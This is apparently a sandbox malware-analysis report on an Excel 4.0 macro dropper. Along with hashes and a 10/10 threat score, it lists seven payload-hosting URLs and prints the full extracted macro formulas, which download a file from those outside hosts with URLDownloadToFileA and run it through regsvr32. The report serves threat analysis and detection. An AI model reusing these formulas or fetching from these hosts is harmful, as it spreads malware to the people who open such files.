e3905eb1bdd6a599896c387a7f5c848db3e70605e86de550084aa3019063906e

General

Target

e3905eb1bdd6a599896c387a7f5c848db3e70605e86de550084aa3019063906e
Size

35KB
Sample

241120-z3fp7stlev
MD5

19961f19f6549c9c1269bb7212f2720e
SHA1

a1d3787300603de4c37d29026e4d08e32388163c
SHA256

e3905eb1bdd6a599896c387a7f5c848db3e70605e86de550084aa3019063906e
SHA512

c092c13b044b869a22e569c9e417a115b3605375d3df90293216b52ab6295bb8745096c5a22f2c1f01e60e8b6ddfa6dbc7994d8041b576fe2b31f8f4bd9a1ee5
SSDEEP

768:O0t+5eEAjOZpqcVbZYpoRuBlIiOKMArOooooooooooooooooooooooooooaDx:O0t+gEUOZZ1ZYpoQ/pMA39

Score

10^/10

Malware Config

Extracted

Rule

Excel 4.0 XLM Macro

C2

https://www.rivabodrumresort.com/eski_site/HozRXt/

https://www.iinil.com/phpmyadmin/oWnF6m7JoN/

https://britainsolicitors.com/wp-admin/OshgKKcJ3I/

https://test.ezzclinics.com/elxaji0/BnqhzGnKzDEi01/

https://britspizzeria.com/cgi-bin/WRo/

https://trainingeighteen.co.zw/wp-content/f1Q3/

https://thiendoan.com/venmo/Mp1r/

Attributes

formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.rivabodrumresort.com/eski_site/HozRXt/","..\xdha.ocx",0,0) =IF('EGVSBSR'!C16<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://www.iinil.com/phpmyadmin/oWnF6m7JoN/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C18<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://britainsolicitors.com/wp-admin/OshgKKcJ3I/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C20<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://test.ezzclinics.com/elxaji0/BnqhzGnKzDEi01/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C22<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://britspizzeria.com/cgi-bin/WRo/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C24<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://trainingeighteen.co.zw/wp-content/f1Q3/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C26<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://thiendoan.com/venmo/Mp1r/","..\xdha.ocx",0,0)) =IF('EGVSBSR'!C28<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\xdha.ocx") =RETURN()

Extracted

Language

xlm4.0

Source

URLs

xlm40.dropper

https://www.rivabodrumresort.com/eski_site/HozRXt/

xlm40.dropper

https://www.iinil.com/phpmyadmin/oWnF6m7JoN/

xlm40.dropper

https://britainsolicitors.com/wp-admin/OshgKKcJ3I/

xlm40.dropper

https://test.ezzclinics.com/elxaji0/BnqhzGnKzDEi01/

xlm40.dropper

https://britspizzeria.com/cgi-bin/WRo/

xlm40.dropper

https://trainingeighteen.co.zw/wp-content/f1Q3/

xlm40.dropper

https://thiendoan.com/venmo/Mp1r/

Extracted

Language

xlm4.0

Source

URLs

xlm40.dropper

https://www.rivabodrumresort.com/eski_site/HozRXt/

xlm40.dropper

https://www.iinil.com/phpmyadmin/oWnF6m7JoN/

xlm40.dropper

https://britainsolicitors.com/wp-admin/OshgKKcJ3I/

Targets

- Target
  
  e3905eb1bdd6a599896c387a7f5c848db3e70605e86de550084aa3019063906e
- Size
  
  35KB
- MD5
  
  19961f19f6549c9c1269bb7212f2720e
- SHA1
  
  a1d3787300603de4c37d29026e4d08e32388163c
- SHA256
  
  e3905eb1bdd6a599896c387a7f5c848db3e70605e86de550084aa3019063906e
- SHA512
  
  c092c13b044b869a22e569c9e417a115b3605375d3df90293216b52ab6295bb8745096c5a22f2c1f01e60e8b6ddfa6dbc7994d8041b576fe2b31f8f4bd9a1ee5
- SSDEEP
  
  768:O0t+5eEAjOZpqcVbZYpoRuBlIiOKMArOooooooooooooooooooooooooooaDx:O0t+gEUOZZ1ZYpoQ/pMA39
Score

10^/10

discovery
- Process spawned unexpected child process
  This typically indicates the parent process was compromised via an exploit or macro.
behavioral1 behavioral2